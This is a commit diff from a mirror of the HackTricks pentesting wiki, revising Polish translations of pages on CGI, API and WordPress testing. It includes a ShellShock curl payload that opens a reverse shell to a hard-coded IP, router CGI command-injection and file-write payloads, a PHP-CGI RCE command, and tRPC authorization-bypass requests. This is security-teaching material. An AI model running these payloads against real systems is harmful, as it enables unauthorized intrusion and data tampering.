mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
		
							parent
							
								
									44891026ba
								
							
						
					
					
						commit
						c973b26099
					
				
										
											Binary file not shown.
										
									
								
							| Before Width: | Height: | Size: 6.5 KiB | 
							
								
								
									
										
											BIN
										
									
								
								src/images/k8studio.png
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								src/images/k8studio.png
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							| After Width: | Height: | Size: 87 KiB | 
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							| @ -5,26 +5,26 @@ | ||||
| 
 | ||||
| ## Informacje | ||||
| 
 | ||||
| The **CGI scripts are perl scripts**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **wgrać perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do reverse shella **z poziomu przeglądarki**, aby go uruchomić. | ||||
| Aby testować **CGI vulns** zaleca się użycie `nikto -C all` \(and all the plugins\) | ||||
| Skrypty **CGI są skryptami perl**, więc, jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ pliki możesz **wgrać perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do reverse shella **z poziomu przeglądarki**, aby go uruchomić. | ||||
| Aby przetestować **CGI vulns** zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\) | ||||
| 
 | ||||
| ## **ShellShock** | ||||
| 
 | ||||
| **ShellShock** to luka bezpieczeństwa, która dotyczy szeroko używanej powłoki **Bash** w systemach operacyjnych opartych na Unix. Wykorzystuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób uruchamiania procesów w systemie. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala potencjalnie na przejęcie systemu. | ||||
| **ShellShock** to **luka**, która dotyczy szeroko używanej powłoki wiersza poleceń **Bash** w systemach operacyjnych opartych na Unix. Atakuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób działania procesów na komputerze. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym potencjalnie przejąć system. | ||||
| 
 | ||||
| Podczas eksploatacji tej luki strona może zwrócić błąd. | ||||
| Eksploatując tę lukę **strona może zwrócić błąd**. | ||||
| 
 | ||||
| Możesz znaleźć tę lukę, zauważając, że używana jest stara wersja **Apache** i **cgi_mod** (z folderem cgi) lub używając **nikto**. | ||||
| Możesz **znaleźć** tę lukę, zauważając użycie **starej wersji Apache** i **cgi_mod** \(z folderem cgi\) lub używając **nikto**. | ||||
| 
 | ||||
| ### **Test** | ||||
| 
 | ||||
| Większość testów polega na użyciu polecenia echo i oczekiwaniu, że zwrócony ciąg pojawi się w odpowiedzi web. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je. | ||||
| Większość testów polega na użyciu polecenia echo i oczekiwaniu, że dany ciąg zostanie zwrócony w odpowiedzi webowej. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je. | ||||
| 
 | ||||
| **Nmap** | ||||
| ```bash | ||||
| nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi | ||||
| ``` | ||||
| ## **Curl \(odbity, ślepy i poza pasmem\)** | ||||
| ## **Curl \(reflected, blind and out-of-band\)** | ||||
| ```bash | ||||
| # Reflected | ||||
| curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' | ||||
| @ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt | ||||
| > set rhosts 10.1.2.11 | ||||
| > run | ||||
| ``` | ||||
| ## Scentralizowane dispatchery CGI (trasowanie do pojedynczego endpointu przez parametry selektora) | ||||
| ## Scentralizowane CGI dispatchery (single endpoint routing via selector parameters) | ||||
| 
 | ||||
| Wiele wbudowanych interfejsów webowych multipleksuje dziesiątki uprzywilejowanych akcji za pojedynczym endpointem CGI (na przykład, `/cgi-bin/cstecgi.cgi`) i używa parametru selektora takiego jak `topicurl=<handler>`, aby przekierować żądanie do wewnętrznej funkcji. | ||||
| Wiele wbudowanych interfejsów WWW grupuje dziesiątki uprzywilejowanych akcji za jednym CGI endpointem (np. `/cgi-bin/cstecgi.cgi`) i używa selector parameter takiego jak `topicurl=<handler>`, aby skierować żądanie do wewnętrznej funkcji. | ||||
| 
 | ||||
| Metodologia wykorzystania tych dispatcherów: | ||||
| 
 | ||||
| - Wylicz nazwy handlerów: przeszukaj JS/HTML, wykonaj brute-force przy użyciu wordlists, albo rozpakuj firmware i grepuj w poszukiwaniu ciągów handlerów używanych przez dispatcher. | ||||
| - Sprawdź dostępność bez uwierzytelnienia: niektóre handlery pomijają kontrole auth i są wywoływalne bezpośrednio. | ||||
| - Skoncentruj się na handlerach, które wywołują narzędzia systemowe lub operują na plikach; słabe walidatory często blokują tylko kilka znaków i mogą pominąć wiodący minus `-`. | ||||
| - Wymień nazwy handlerów: scrape JS/HTML, brute-force za pomocą wordlists, lub rozpakuj firmware i użyj grep, by znaleźć handler strings używane przez dispatcher. | ||||
| - Sprawdź unauthenticated reachability: niektóre handlery pomijają auth checks i są bezpośrednio callable. | ||||
| - Skoncentruj się na handlerach, które wywołują system utilities lub operują na plikach; słabe validators często blokują tylko kilka znaków i mogą przeoczyć wiodący myślnik `-`. | ||||
| 
 | ||||
| Ogólne wzorce exploitów: | ||||
| Ogólne schematy exploitów: | ||||
| ```http | ||||
| POST /cgi-bin/cstecgi.cgi HTTP/1.1 | ||||
| Content-Type: application/x-www-form-urlencoded | ||||
| @ -75,32 +75,31 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; | ||||
| # 3) Validator bypass → arbitrary file write in file-touching handlers | ||||
| topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc | ||||
| ``` | ||||
| Wykrywanie i zabezpieczanie: | ||||
| Wykrywanie i wzmacnianie zabezpieczeń: | ||||
| 
 | ||||
| - Monitoruj nieautentyfikowane żądania do scentralizowanych CGI endpoints z `topicurl` ustawionym na wrażliwe handlers. | ||||
| - Oznacz parametry zaczynające się od `-` (argv option injection attempts). | ||||
| - Dostawcy: wymuszaj uwierzytelnianie na wszystkich state-changing handlers, waliduj używając ścisłych allowlists/types/lengths i nigdy nie przekazuj user-controlled strings jako command-line flags. | ||||
| - Uważaj na nieautoryzowane żądania do scentralizowanych endpointów CGI z `topicurl` ustawionym na wrażliwe handlery. | ||||
| - Oznaczaj parametry zaczynające się od `-` (argv option injection attempts). | ||||
| - Dostawcy: wymuszaj uwierzytelnianie dla wszystkich state-changing handlers, waliduj używając rygorystycznych allowlists/types/lengths i nigdy nie przekazuj kontrolowanych przez użytkownika ciągów jako command-line flags. | ||||
| 
 | ||||
| ## Stare PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) | ||||
| 
 | ||||
| W skrócie, jeśli cgi jest aktywne i php jest "stare" \(<5.3.12 / < 5.4.2\) możesz wykonać kod. | ||||
| Aby wykorzystać tę podatność musisz uzyskać dostęp do jakiegoś pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\). | ||||
| Aby przetestować tę podatność możesz np. uzyskać dostęp do `/index.php?-s` \(zwróć uwagę na `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**. | ||||
| W zasadzie jeśli cgi jest aktywne i php jest "stare" \(<5.3.12 / < 5.4.2\) możesz wykonać kod. | ||||
| Aby wyeksploitować tę podatność, musisz uzyskać dostęp do jakiegoś pliku PHP na serwerze WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\). | ||||
| Aby przetestować tę podatność, możesz np. uzyskać dostęp do `/index.php?-s` \(zwróć uwagę na `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**. | ||||
| 
 | ||||
| Następnie, aby uzyskać **RCE** możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` a **PHP code** do wykonania umieścić w **body of the request**. | ||||
| Przykład: | ||||
| Aby uzyskać **RCE**, możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i umieścić **PHP code** do wykonania w **treści żądania**. Przykład: | ||||
| ```bash | ||||
| curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" | ||||
| ``` | ||||
| **Więcej informacji o vuln i możliwych exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** | ||||
| 
 | ||||
| ## **Proxy \(MitM — dla żądań serwera WWW\)** | ||||
| ## **Proxy \(MitM do żądań serwera WWW\)** | ||||
| 
 | ||||
| CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" zostaje utworzony jako "HTTP_HOST"="web.com" | ||||
| CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com" | ||||
| 
 | ||||
| Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW, spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**". Jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wysyłane przez serwer. | ||||
| Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać **header** zawierający: "**Proxy: <IP_attacker>:<PORT>**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer. | ||||
| 
 | ||||
| ## **Referencje** | ||||
| ## **References** | ||||
| 
 | ||||
| - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) | ||||
| 
 | ||||
|  | ||||
| @ -2,54 +2,96 @@ | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Podsumowanie Metodologii Pentestingu API | ||||
| ## Podsumowanie metodyki pentestingu API | ||||
| 
 | ||||
| Pentesting API wymaga strukturalnego podejścia do odkrywania luk. Ten przewodnik zawiera kompleksową metodologię, podkreślając praktyczne techniki i narzędzia. | ||||
| Pentesting API wymaga uporządkowanego podejścia do odkrywania podatności. Ten przewodnik zawiera kompleksową metodykę, kładąc nacisk na praktyczne techniki i narzędzia. | ||||
| 
 | ||||
| ### **Zrozumienie Typów API** | ||||
| ### **Zrozumienie typów API** | ||||
| 
 | ||||
| - **SOAP/XML Web Services**: Wykorzystują format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (rozszerzenie Burp Suite) są niezbędne do analizowania i generowania żądań. Przykładowa dokumentacja jest dostępna pod adresem [DNE Online](http://www.dneonline.com/calculator.asmx). | ||||
| - **REST APIs (JSON)**: Dokumentacja często występuje w plikach WADL, jednak narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) oferują bardziej przyjazny interfejs do interakcji. **Postman** to cenne narzędzie do tworzenia i zarządzania przykładowymi żądaniami. | ||||
| - **GraphQL**: Język zapytań dla API oferujący pełny i zrozumiały opis danych w Twoim API. | ||||
| - **SOAP/XML Web Services**: Wykorzystują format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (Burp Suite Extension) są przydatne do parsowania i generowania żądań. Przykładowa dokumentacja jest dostępna na [DNE Online](http://www.dneonline.com/calculator.asmx). | ||||
| - **REST APIs (JSON)**: Dokumentacja często występuje w plikach WADL, a narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) oferują wygodniejszy interfejs do interakcji. **Postman** jest przydatnym narzędziem do tworzenia i zarządzania przykładowymi żądaniami. | ||||
| - **GraphQL**: Język zapytań dla API, który oferuje pełny i zrozumiały opis danych w API. | ||||
| 
 | ||||
| ### **Laboratoria Praktyczne** | ||||
| ### **Laboratoria praktyczne** | ||||
| 
 | ||||
| - [**VAmPI**](https://github.com/erev0s/VAmPI): Celowo podatne API do praktyki, obejmujące 10 najważniejszych luk w API według OWASP. | ||||
| - [**VAmPI**](https://github.com/erev0s/VAmPI): Celowo podatne API do praktycznych ćwiczeń, obejmujące OWASP top 10 podatności API. | ||||
| 
 | ||||
| ### **Skuteczne Sztuczki do Pentestingu API** | ||||
| ### **Skuteczne techniki dla pentestingu API** | ||||
| 
 | ||||
| - **Vulnerabilities SOAP/XML**: Zbadaj luki XXE, chociaż deklaracje DTD są często ograniczone. Tag CDATA może umożliwić wstawienie ładunku, jeśli XML pozostaje ważny. | ||||
| - **Escalacja Uprawnień**: Testuj punkty końcowe z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu. | ||||
| - **Błędy w Konfiguracji CORS**: Zbadaj ustawienia CORS pod kątem potencjalnej możliwości wykorzystania przez ataki CSRF z sesji uwierzytelnionych. | ||||
| - **Odkrywanie Punktów Końcowych**: Wykorzystaj wzorce API do odkrywania ukrytych punktów końcowych. Narzędzia takie jak fuzzery mogą zautomatyzować ten proces. | ||||
| - **Manipulacja Parametrami**: Eksperymentuj z dodawaniem lub zastępowaniem parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji. | ||||
| - **Testowanie Metod HTTP**: Zmieniaj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji. | ||||
| - **Manipulacja Typem Zawartości**: Przełączaj się między różnymi typami zawartości (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z analizą lub luki. | ||||
| - **Zaawansowane Techniki Parametrów**: Testuj z nieoczekiwanymi typami danych w ładunkach JSON lub baw się danymi XML w celu wstrzyknięć XXE. Spróbuj również zanieczyszczenia parametrów i znaków wieloznacznych dla szerszego testowania. | ||||
| - **Testowanie Wersji**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API. | ||||
| - **SOAP/XML Vulnerabilities**: Poszukaj podatności XXE, chociaż deklaracje DTD są często ograniczone. Tagi CDATA mogą umożliwić wstawienie ładunku, jeśli XML pozostaje ważny. | ||||
| - **Privilege Escalation**: Testuj endpointy z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu. | ||||
| - **CORS Misconfigurations**: Sprawdź ustawienia CORS pod kątem potencjalnego wykorzystania przez ataki CSRF z uwierzytelnionych sesji. | ||||
| - **Endpoint Discovery**: Wykorzystaj wzorce API do odkrywania ukrytych endpointów. Narzędzia takie jak fuzzers mogą zautomatyzować ten proces. | ||||
| - **Parameter Tampering**: Eksperymentuj z dodawaniem lub zamianą parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji. | ||||
| - **HTTP Method Testing**: Zmieniaj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji. | ||||
| - **Content-Type Manipulation**: Przełączaj się między różnymi typami treści (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z parsowaniem lub podatności. | ||||
| - **Advanced Parameter Techniques**: Testuj niespodziewane typy danych w payloadach JSON lub manipuluj danymi XML w celu XXE. Również spróbuj parameter pollution i znaków wieloznacznych dla szerszych testów. | ||||
| - **Version Testing**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API. | ||||
| 
 | ||||
| ### **Narzędzia i Zasoby do Pentestingu API** | ||||
| ### Autoryzacja i logika biznesowa (AuthN != AuthZ) — pułapki tRPC/Zod protectedProcedure | ||||
| 
 | ||||
| - [**kiterunner**](https://github.com/assetnote/kiterunner): Doskonałe do odkrywania punktów końcowych API. Użyj go do skanowania i brutalnego wymuszania ścieżek i parametrów przeciwko docelowym API. | ||||
| Nowoczesne stosy TypeScript często używają tRPC z Zod do walidacji wejścia. W tRPC `protectedProcedure` zazwyczaj zapewnia, że żądanie ma ważną sesję (uwierzytelnienie), ale nie oznacza, że wywołujący ma odpowiednią rolę/uprawnienia (autoryzacja). Ta niezgodność prowadzi do Broken Function Level Authorization/BOLA, jeśli wrażliwe procedury są zabezpieczone tylko przez `protectedProcedure`. | ||||
| 
 | ||||
| - Model zagrożenia: Każdy uwierzytelniony użytkownik o niskich uprawnieniach może wywołać procedury przeznaczone dla administratora, jeśli brakuje sprawdzeń ról (np. migracje w tle, feature flags, tenant-wide maintenance, job control). | ||||
| - Sygnalizacja w black-box: endpointy `POST /api/trpc/<router>.<procedure>` które zwracają sukces dla podstawowych kont, gdy powinny być dostępne tylko dla administratorów. Samoobsługowe rejestracje (self-serve signups) drastycznie zwiększają możliwość ich wykorzystania. | ||||
| - Typowy kształt trasy tRPC (v10+): ciało JSON opakowane w `{"input": {...}}`. | ||||
| 
 | ||||
| Przykładowy podatny wzorzec (brak bramki ról/uprawnień): | ||||
| ```ts | ||||
| // The endpoint for retrying a migration job | ||||
| // This checks for a valid session (authentication) | ||||
| retry: protectedProcedure | ||||
| // but not for an admin role (authorization). | ||||
| .input(z.object({ name: z.string() })) | ||||
| .mutation(async ({ input, ctx }) => { | ||||
| // Logic to restart a sensitive migration | ||||
| }), | ||||
| ``` | ||||
| Praktyczna eksploatacja (black-box) | ||||
| 
 | ||||
| 1) Zarejestruj zwykłe konto i uzyskaj uwierzytelnioną sesję (cookies/headers). | ||||
| 2) Enumeruj background jobs lub inne wrażliwe zasoby za pomocą procedur “list”/“all”/“status”. | ||||
| ```bash | ||||
| curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -b '<AUTH_COOKIES>' \ | ||||
| --data '{"input":{}}' | ||||
| ``` | ||||
| 3) Wywołaj uprzywilejowane akcje, takie jak ponowne uruchomienie joba: | ||||
| ```bash | ||||
| curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -b '<AUTH_COOKIES>' \ | ||||
| --data '{"input":{"name":"<migration_name>"}}' | ||||
| ``` | ||||
| Impact to assess | ||||
| 
 | ||||
| - Uszkodzenie danych wskutek nie-idempotentnych restartów: Wymuszanie równoległych uruchomień migrations/workers może tworzyć race conditions i powodować niespójne, częściowe stany (ciche utraty danych, uszkodzona analityka). | ||||
| - DoS przez wyczerpanie worker/DB: Powtarzane wywoływanie ciężkich zadań może wyczerpać pule workerów i połączenia do bazy danych, powodując przestoje obejmujące wszystkich tenantów. | ||||
| 
 | ||||
| ### **Narzędzia i zasoby dla API Pentesting** | ||||
| 
 | ||||
| - [**kiterunner**](https://github.com/assetnote/kiterunner): Doskonały do odkrywania endpointów API. Użyj go do skanowania i przeprowadzania brute force na ścieżkach i parametrach wobec docelowych API. | ||||
| ```bash | ||||
| kr scan https://domain.com/api/ -w routes-large.kite -x 20 | ||||
| kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 | ||||
| kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 | ||||
| kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 | ||||
| ``` | ||||
| - [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj to narzędzie wiersza poleceń zaprojektowane do wspomagania audytu **ujawnionych plików definicji Swagger/OpenAPI** poprzez sprawdzanie powiązanych punktów końcowych API pod kątem słabej autoryzacji. Oferuje również szablony poleceń do ręcznego testowania podatności. | ||||
| - Dodatkowe narzędzia, takie jak **automatic-api-attack-tool**, **Astra** i **restler-fuzzer**, oferują dostosowane funkcjonalności do testowania bezpieczeństwa API, od symulacji ataków po fuzzing i skanowanie podatności. | ||||
| - [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To narzędzie do zabezpieczania API, które audytuje Twoje API na podstawie pliku OAS (narzędzie napisane w rust). | ||||
| - [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj to narzędzie wiersza poleceń zaprojektowane, aby pomagać w audycie **exposed Swagger/OpenAPI definition files** poprzez sprawdzanie powiązanych API endpoints pod kątem słabego uwierzytelniania. Dostarcza także szablony poleceń do ręcznego testowania podatności. | ||||
| - Dodatkowe narzędzia takie jak **automatic-api-attack-tool**, **Astra**, i **restler-fuzzer** oferują wyspecjalizowane funkcje do testów bezpieczeństwa API, od symulacji ataków po fuzzing i skanowanie podatności. | ||||
| - [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To narzędzie do bezpieczeństwa API, które audytuje Twoje API na podstawie pliku OAS (narzędzie napisane w rust). | ||||
| 
 | ||||
| ### **Zasoby do nauki i praktyki** | ||||
| ### **Zasoby do nauki i ćwiczeń** | ||||
| 
 | ||||
| - **OWASP API Security Top 10**: Kluczowa lektura dla zrozumienia powszechnych podatności API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). | ||||
| - **OWASP API Security Top 10**: Podstawowa lektura do zrozumienia typowych podatności w API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). | ||||
| - **API Security Checklist**: Kompletna lista kontrolna zabezpieczania API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). | ||||
| - **Logger++ Filters**: Do poszukiwania podatności API, Logger++ oferuje przydatne filtry ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). | ||||
| - **API Endpoints List**: Starannie wyselekcjonowana lista potencjalnych punktów końcowych API do celów testowych ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). | ||||
| - **Logger++ Filters**: Do wykrywania podatności w API, Logger++ oferuje przydatne filtry ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). | ||||
| - **API Endpoints List**: Kuratorowana lista potencjalnych API endpoints do celów testowych ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). | ||||
| 
 | ||||
| ## Referencje | ||||
| ## References | ||||
| 
 | ||||
| - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) | ||||
| - [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -5,37 +5,37 @@ | ||||
| ## Podstawowe informacje | ||||
| 
 | ||||
| - **Przesłane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` | ||||
| - **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **theme twentytwelve** możesz **dostępować** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| - **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie będziesz korzystać z tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **dostęp** do pliku **404.php** pod adresem: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| 
 | ||||
| - **Inny przydatny adres może być:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| - **Inny przydatny adres URL może być:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| 
 | ||||
| - W **wp-config.php** możesz znaleźć hasło root do bazy danych. | ||||
| - W **wp-config.php** możesz znaleźć hasło roota do bazy danych. | ||||
| - Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ | ||||
| 
 | ||||
| ### **Main WordPress Files** | ||||
| ### **Główne pliki WordPress** | ||||
| 
 | ||||
| - `index.php` | ||||
| - `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress. | ||||
| - `wp-activate.php` jest używany podczas procesu aktywacji przez email przy zakładaniu nowej strony WordPress. | ||||
| - `wp-activate.php` jest używany do procesu aktywacji przez e-mail przy zakładaniu nowej witryny WordPress. | ||||
| - Foldery logowania (mogą być przemianowane, aby je ukryć): | ||||
| - `/wp-admin/login.php` | ||||
| - `/wp-admin/wp-login.php` | ||||
| - `/login.php` | ||||
| - `/wp-login.php` | ||||
| - `xmlrpc.php` to plik będący funkcją WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). | ||||
| - Folder `wp-content` jest głównym katalogiem, w którym przechowywane są pluginy i motywy. | ||||
| - `xmlrpc.php` to plik reprezentujący funkcję WordPress umożliwiającą przesyłanie danych z użyciem HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). | ||||
| - Folder `wp-content` to główny katalog, w którym przechowywane są pluginy i motywy. | ||||
| - `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę. | ||||
| - `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, czcionki, pliki JavaScript i widgety. | ||||
| - `wp-sitemap.xml` W wersjach Wordpress 5.5 i nowszych, Wordpress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami. | ||||
| - `wp-includes/` to katalog, gdzie przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety. | ||||
| - `wp-sitemap.xml` W wersjach WordPress 5.5 i nowszych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie queryable typami postów i taksonomiami. | ||||
| 
 | ||||
| **Post exploitation** | ||||
| 
 | ||||
| - Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów. | ||||
| - Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów. | ||||
| 
 | ||||
| ### Uprawnienia użytkowników | ||||
| 
 | ||||
| - **Administrator** | ||||
| - **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami | ||||
| - **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami | ||||
| - **Author**: Publikuje i zarządza własnymi wpisami | ||||
| - **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować | ||||
| - **Subscriber**: Przegląda wpisy i edytuje swój profil | ||||
| @ -46,7 +46,7 @@ | ||||
| 
 | ||||
| Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html` | ||||
| 
 | ||||
| Wewnątrz **kod źródłowy** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): | ||||
| W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): | ||||
| 
 | ||||
| - grep | ||||
| ```bash | ||||
| @ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress' | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| - pliki linków CSS | ||||
| - Pliki linków CSS | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| - pliki JavaScript | ||||
| - Pliki JavaScript | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| @ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp | ||||
| ```bash | ||||
| curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 | ||||
| ``` | ||||
